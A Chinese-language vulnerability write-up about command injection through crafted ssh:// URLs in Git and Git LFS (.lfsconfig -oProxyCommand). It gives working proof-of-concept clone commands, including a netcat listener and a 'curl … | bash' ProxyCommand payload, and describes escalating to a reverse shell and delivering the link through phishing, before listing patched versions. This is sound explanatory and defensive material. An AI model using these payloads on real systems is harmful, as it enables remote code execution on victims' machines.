Git命令執行漏洞


Git命令造成的反彈shell

 

漏洞描述:

  Git LFS可以.lfsconfig使用LFS由存儲庫中的文件配置(部分),並且可以將Git LFS指向ssh://。

[lfs]
    url = ssh://-oProxyCommand= some-command

  當使用這樣的.lfsconfig文件克隆存儲庫時,使用LFS插件的Git將嘗試調用ssh以從主機獲取LFS對象 -oProxyCommand=some-command。然而,SSH會將該主機名解釋為一個-o選項,並隨后嘗試調用some-command以建立連接。

  這樣的話,可以通過克隆存儲庫的Git LFS客戶端的精心設計的存儲庫來執行任意命令。

 

  通過在新項目中導入存儲庫,ssh://可以在GitLab主機上執行URL服務器端代碼執行。

 

利用方式:

  遠程釣魚,社工

  惡意的攻擊者可以向受害者發送一條精心構造的ssh:// URL鏈接,當受害者訪問這條URL則會觸發漏洞導致執行惡意代碼。

 

漏洞證明:

   反彈計算器

git clone ssh://-oProxyCommand=gnome-calculator/wat

 

 

  進一步利用

 

  本機測試環境

  先建立監聽

nc -vlp 9999

  利用git clone 獲取鏡像庫

git clone ssh://-oProxyCommand='curl 127.0.0.1:9999 | bash'/xx

命令被成功執行

 

 

建立連接之后,嘗試執行反彈shell命令,同時監聽新的端口,完成反彈shell。

 

 

 

漏洞修復建議(或緩解措施):

 

Git:升級到Git v2.14.1版本

Apache Subversion:升級到Subversion 1.8.19、Subversion 1.9.7版本

Mercurial:升級到Mercurial 4.3 and 4.2.3.版本

 

 

參考文章:

https://help.aliyun.com/knowledge_detail/57887.html

http://bobao.360.cn/news/detail/4260.html?spm=5176.7757887.2.2.IkQv67


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM